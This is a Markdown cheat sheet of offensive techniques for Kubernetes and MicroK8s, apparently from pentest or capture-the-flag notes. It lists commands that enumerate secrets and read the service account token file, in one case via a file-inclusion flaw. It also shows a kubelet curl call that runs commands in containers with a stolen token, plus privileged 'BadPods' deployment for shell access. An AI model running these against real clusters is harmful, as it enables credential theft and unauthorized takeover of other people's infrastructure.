97 lines
2.3 KiB
Markdown
97 lines
2.3 KiB
Markdown
|
## Kubernetes Enumeration
|
||
|
|
|
||
|
|
## Kubectl
|
||
|
|
|
||
|
|
* Get pods, `-A` for all namespaces
|
||
|
|
```sh
|
||
|
|
kubectl get pods -A
|
||
|
|
```
|
||
|
|
* Check mounted secret
|
||
|
|
```sh
|
||
|
|
kubectl auth can-i --list
|
||
|
|
kubectl get secrets
|
||
|
|
kubectl get nodes
|
||
|
|
kubectl get deployments
|
||
|
|
kubectl get services
|
||
|
|
kubectl get ingress
|
||
|
|
kubectl get jobs
|
||
|
|
```
|
||
|
|
* Intel about a secret, and output
|
||
|
|
```sh
|
||
|
|
kubectl describe secrets <secret>
|
||
|
|
kubectl get secret <secret> -o json
|
||
|
|
kubectl describe secrets <secret> -o 'json'
|
||
|
|
```
|
||
|
|
### Abuse Token
|
||
|
|
* Inside a pod the service token(jwt) can be found under `/var/run/secrets/kubernetes.io/serviceaccount/token`
|
||
|
|
* By change of an LFI extract the token and
|
||
|
|
```sh
|
||
|
|
kubectl auth can-i --list --token=$TOKEN
|
||
|
|
kubectl get pods --token=$TOKEN
|
||
|
|
kubectl exec -it <pod name> --token=$TOKEN -- /bin/sh
|
||
|
|
```
|
||
|
|
|
||
|
|
* __Do not copy the token around, it will end in a carfuffle of some truncated string most of the time. Just do it in the following way and spare the pain for another day__
|
||
|
|
```
|
||
|
|
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
|
||
|
|
```
|
||
|
|
|
||
|
|
#### Elevate Permissions with found token
|
||
|
|
|
||
|
|
* If a token has been found but its permissions on other containers can not be used through kubectl directly, use curl
|
||
|
|
```sh
|
||
|
|
curl -k -H "Authorization: Bearer $TOKEN" --data "cmd=id" https://$K8_IP:10250/run/$NAMESPACE/$POD/$CONTAINER
|
||
|
|
```
|
||
|
|
* Find namespace and pods
|
||
|
|
```sh
|
||
|
|
kubectl get pods -A
|
||
|
|
```
|
||
|
|
* Find name of container inside the pod description under `ContainerStatuses/name`
|
||
|
|
```sh
|
||
|
|
kubectl get pod $POD -n $NAMESPACE -o yaml
|
||
|
|
```
|
||
|
|
|
||
|
|
* Interesting find in any high priv container are
|
||
|
|
```sh
|
||
|
|
/run/secrets/kubernetes.io/serviceaccount/token
|
||
|
|
/run/secrets/kubernetes.io/serviceaccount/ca.crt
|
||
|
|
```
|
||
|
|
|
||
|
|
* Enumerate again with the new found token
|
||
|
|
```sh
|
||
|
|
kubectl auth can-i --list
|
||
|
|
```
|
||
|
|
|
||
|
|
### Create Pods
|
||
|
|
|
||
|
|
* Use [BishopFox's BadPods](https://github.com/BishopFox/badPods.git)
|
||
|
|
* If there is no internet connection add `imagePullPolicy: IfNotPresent` to the YAML file
|
||
|
|
```sh
|
||
|
|
kubectl apply -f pod.yml --token=$TOKEN
|
||
|
|
```
|
||
|
|
* Start Pod
|
||
|
|
```sh
|
||
|
|
kubectl exec -it everything-allowed-exec-pod --token=$TOKEN -- /bin/bash
|
||
|
|
```
|
||
|
|
|
||
|
|
### Start Pods
|
||
|
|
|
||
|
|
```sh
|
||
|
|
kubectl exec -it <podname> -n <namespace> -- /bin/bash
|
||
|
|
```
|
||
|
|
|
||
|
|
## Microk8s
|
||
|
|
|
||
|
|
* [microk8s repo](https://github.com/ubuntu/microk8s)
|
||
|
|
|
||
|
|
### Enumeration
|
||
|
|
|
||
|
|
```sh
|
||
|
|
microk8s kubectl get nodes
|
||
|
|
microk8s kubectl get services
|
||
|
|
microk8s kubectl get pods
|
||
|
|
microk8s kubectl get deployments -o wide
|
||
|
|
microk8s kubectl cluster-info
|
||
|
|
```
|
||
|
|
|